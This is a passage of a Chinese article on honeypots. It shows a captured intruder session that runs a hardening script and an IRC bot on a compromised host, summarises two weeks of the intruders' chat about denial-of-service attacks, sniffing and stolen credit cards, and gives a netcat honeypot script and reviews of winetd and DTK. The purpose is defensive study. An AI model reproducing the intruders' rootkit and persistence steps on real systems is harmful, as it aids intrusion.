接着很多文件别修改,包括/bin/login, /bin/ls, /usr/sbin/netstat, and /bin/ps,我们强烈建议查看一下setup.sh和secure.sh脚本的源码,看看这两个程序到底做了什么,因为我们会恢复被类似工具攻击的系统。

# kill -9 11467
# ps -u root |grep |grep
inetd inetd
207 ? 0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
# ppUs -u s -u U||U grep grep ttUtdbtdb
Ups: option requires an argument -- u
usage: ps [ -aAdeflcj] [ -o format ] [ -t termlist ]
 [ -u userlist ] [ -U userlist ] [ -G grouplist ]
 [ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
'format' is one or more of:
user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
pri opri pcpu pmem vsz rss osz nice class time etime stime
f s c tty addr wchan fname comm args
# ppUs -s -UAdj | grep ttdbAdj | grep ttdb

最后,我们的客人运行了IRC bot,这个东西确保他们对IRC通道的控制权,这个bot也记录了他们的会话记录。
# /me -f bot2
init: Using config file: bot2
EnergyMech 2.7.1, December 2nd, 1999
Starglider Class EnergyMech
Compiled on Jan 27 2000 07:06:04
Features: DYN, NEW, SEF
init: Unknown configuration
item: "NOSEEN" (ignored)
init: Mechs added [ save2 ]
init: Warning: save2 has no userlist, running in setup mode
init: EnergyMech running...
# exit;
$ exit

一旦这个bot准备就绪,他们离开了系统,也就是这个bot捕获他们的所有对话。如果想要了解更多的关于IRC信息,可以参考David Brumley的<< Tracking Hackers on IRC >>文章。在随后的一个星期之内,他们返回过几次都是来查看系统是否仍然在他们的控制之中。但是一个星期之后,他们重新上来并企图利用这里的资源来对别的网站进行拒绝服务攻击。当然,他们没有成功,我们的"honeypot"在设计之初就已经考虑了类似问题,所有尝试利用我们系统进行的攻击都会被封锁,他们发起的拒绝服务攻击自动被封锁。
接下来的部分,我们主要通过他们在IRC里的对话来分析黑客们的行为和心理,通过这些,我们可以更好地反击黑客的入侵。
下面罗列的是紧接着两个星期内他们对话,我们暂且叫这个IRC通道为K1dd13,其中两个人叫做D1ck和J4n3,其中很多比如说IP和其他信息我们在这里都做了改动。我们可以看到他们甚至对很多Unix的基础知识还不了解,但仍然能对很多系统造成危害。

第一天,6月4号
对话主要讨论建立一个漏洞资料库,通过共享资源来攻击潜在的目标

第二天,6月5号
今天D1ck和J4n3共享漏洞资料,特别注意的是他们吹牛已经攻击了多少网络,好像他们正在攻击的是一所大学里的一台Linux系统,他们也讨论了在Linux和sparc上的新的工具。

第三天,6月6号
D1ck和J4n3吹牛他们曾经对多少系统进行过拒绝服务攻击,紧接着D1ck教J4n3怎样mount一个分区,然后他们商量如何使用sniffit,最后D1ck似乎拼命的搜寻Irix漏洞和攻击工具。

第四天,6月7号
D1ck和J4n3决定对印度的一个系统进行拒绝服务攻击,最后他们对哪些扰乱他们的其他IRC用户进行拒绝服务。

第五天,6月8号
D1ck请J4n3为他占领三个系统,D1ck和他的密友Sp07尝试发掘出sniffer是怎样工作的,类似问题"sniffer探测必须在同一个网络中?"

第六天,6月9号
我们的朋友似乎很忙,似乎D1ck已经入侵了40个系统。

第七天,6月10号
平淡的一天,D1ck教给一个新伙计k1dd13怎样使用sadmind漏洞,我们不确定的是D1ck自己是否明白怎样使用

第八天,6月11号
D1ck和J4n3讨论他们所拥有的系统以及他们那想对其实施拒绝服务的人,D1ck发现死亡之ping。

第九天,6月12号
似乎D1ck撞了大运,他发现了一个ISP并且获得对于他们帐单存取权限和5000个帐号。

第十天,6月13号
Sp07加入。

第十一天,6月14号
他们开始Crack用户密码和存取个人帐号。

第十二天,6月15号
D1ck 和 J4n3试图在一个信用卡频道里发现信用卡号,如果成功他们那就可以买下一些域名。

第十三天,6月16号
D1ck 和 J4n3仍然在这个信用卡频道里。在聊天结束的时候,他们把焦点又放在自己的Web站点。

第十四天,6月17号
D1ck 和 J4n3谈论着信用卡并继续建筑自己的Web站点。

我们已经了解到这个黑客团体在14天里的行为,当然不是所有的黑客团体都像这样,实际上,我们观测到的只是很小的一部分,但是我们希望这些信息能给你很多提示,他们有很多并不是象我们想象那样具有很高的技术实力,甚至又很多并不明白他们正在使用的工具,但是一旦他们对一些系统很在意的话,他们能取得我们所想象不到的结果。这并不是危言耸听,他们并不关心他们所造成的危害,他们只关心他们攻击的目标。
这篇文章是Honeypot项目的研究结果,Honeypot项目是一个由一些安全专家想要了解黑客社团使用的工具和策略的而发起的项目。

3. 一个简单"honeypot"的实现
 看过了以上的案例介绍,你是否已经迫不及待想建立一个"honeypot"来监视你的网络或者系统呢?那么我们如何来实现一个"honeypot"呢?NetCat这个万能的瑞士军刀,黑客工具的鼻祖很容易就能帮你做到。God bless me! 感谢Weld和L0pht的成员们编写出如此出色便宜的"honeypot":),而且可以在多个平台上使用,下载:http://www.l0pht.com/~weld/netcat。

 一般情况下,很多黑客都喜欢尝试针对对方系统服务进行慢速扫描以确认下一步可能的攻击方向。NetCat的功能之一就是可以帮助我们在一些端口上帮定服务,这样就允许我们在我们的Linxu、NT、FreeBSD上建立一些如下的虚假服务:Sendmail、DNS、Telnet、FTP甚至是Web Server等等,这样就可以审计一些端口扫描以及连接信息,当然这样配置存在一些问题,比如说半开连接如"nmap -sS victim"就不会被记录,但是实际上很多黑客在确信端口开启的情况下为了确定服务的信息如版本,他们会选择完成三次握手,这样,他们的IP………。

下面所列出的代码是在Solaris工作站上的一个"honeypot",首先需要为每一个监听的端口简历如下的内容,NetCat选项:
-l一般监听模式
-p你选择的端口
-vv双冗长模式
xxx.xxx.xxx.xxx 系统使用的IP

在这里的脚本中,使用一般监听模式而不是递归模式(-L)是因为想在每次对方尝试连接后在审计信息里添加注释。这里通过重定向审计信息,通过循环添加注释以便于审计。需要强调的一点是需要指定本机IP,这样端口只允许本机连接,否则任何别的系统都可以通过该端口存取系统。同时为了方便审计,加了一些行拷贝记录到另一个文件中并清理原始记录文件。
Below is the contents of my "port25" script file.
这里列出的是"port25"脚本
while true; do
 /usr/bin/nc -l -p 25 -vv xxx.xxx.xxx.xxx 2>> /var/audit/nc-port25
 date >> /var/audit/nc-port25
 echo "******************** FAILED SENDMAIL ATTEMPT-PORT 25
********************\n" >> /var/audit/nc-port25
 cat /var/audit/nc-port25 >> /var/audit/nc-log
 cp /dev/null /var/audit/nc-port25
done
在每一个命令行末尾添加"2"是重定向出错信息道审计信息里。
类似,我们可以产生其他脚本,然后运行。

/var/audit/nc-wrappers/port25 &
/var/audit/nc-wrappers/port79 &
/var/audit/nc-wrappers/port512 &
/var/audit/nc-wrappers/port513 &
/var/audit/nc-wrappers/port514 &
....
....
....

最后,我们可以作一个脚本放在"/etc/rc2.d"目录下,这样系统重起会自动运行我们的"honeypot"。
Nmap扫描结果:

FTP--------------21
Telnet------------23
Sendmail--------25
TFTP-------------69
Finger------------79
Web--------------80, 443, 8080
NetBIOS---------139
Rexec-------------512
Rlogin-------------513
Rsh-----------------514
NetBus-------------12345
BO------------------31337

4. 已有工具介绍
4.1 winetd
 winetd是一个非常简单的Windows上的"honeypot"实现,安装非常简单,界面也很友好,只是伪装过于简单,并不能真正诱骗黑客进入,如果按功能来说,不算一个严格意义上的"honeypot"。
我们看到缺省启动的时候,我们的系统开启的服务很少,下面使用Nmap对没有使用Winetd的结果:
Port State Service
135/tcpopenloc-srv
445/tcpopenmicrosoft-ds
3389/tcp openmsrdp
我们可以看到系统仅开启三个端口。

启动Winetd之后它会在我们的系统上开启如下服务,如echo、Telnet、smtp等服务,Nmap的扫描结果:
Port State Service
3/tcpopencompressnet
7/tcpopenecho
13/tcp opendaytime
23/tcp opentelnet
25/tcp opensmtp
34/tcp openunknown
135/tcpopenloc-srv
137/tcpopennetbios-ns
139/tcpopennetbios-ssn
445/tcpopenmicrosoft-ds
3389/tcp openmsrdp



 我们Telnet 到23端口,弹出如下信息:
Red Hat Linux realease 7.0 (Guinness)
Kernel 2.2.16-22 on an i686
login:
 其实我们的系统是一台W2k,当然Winetd的灵活之初还在于它可以自己定义要打开的服务,使用什么样的程序进行模拟。而且它还具有日志和反击功能
 当我们在对运行Winetd的系统进行扫描或别的探测活动时,它都会发现到探测信息,如下图我们用Nmap使用偷偷扫描后所留下的日志信息。



我们或许也注意到如果一个经验丰富的黑客,这样的"honeypot"还不至于能诱骗他,首先使用fingerprint技术就可以探测系统是Linux还是W2k,如果发现是W2k,而Telnet又显示上面的信息,那么黑客很快就会离我们而去,甚至恼怒会攻击我们的系统。
Winetd是一个自由软件,它的思路非常好,要成为真正的"honeypot",还有待于继续深入开发。
4.2 dtk
 DTK(Deception Tool Kit),可在多种Unix系统上运行,它是有Fred Cohen开发的。
 DTK目前可以真正模拟的系统有十种左右,而且它可模拟很多服务,更确切的说,我们可以称它为一个状态机,功能非常强大,需要C和Perl编译器去编译运行,缺点就是在构建时非常麻烦,比如说在编译时会让你选择自己的操作系统,选择你所要模仿的操作系统。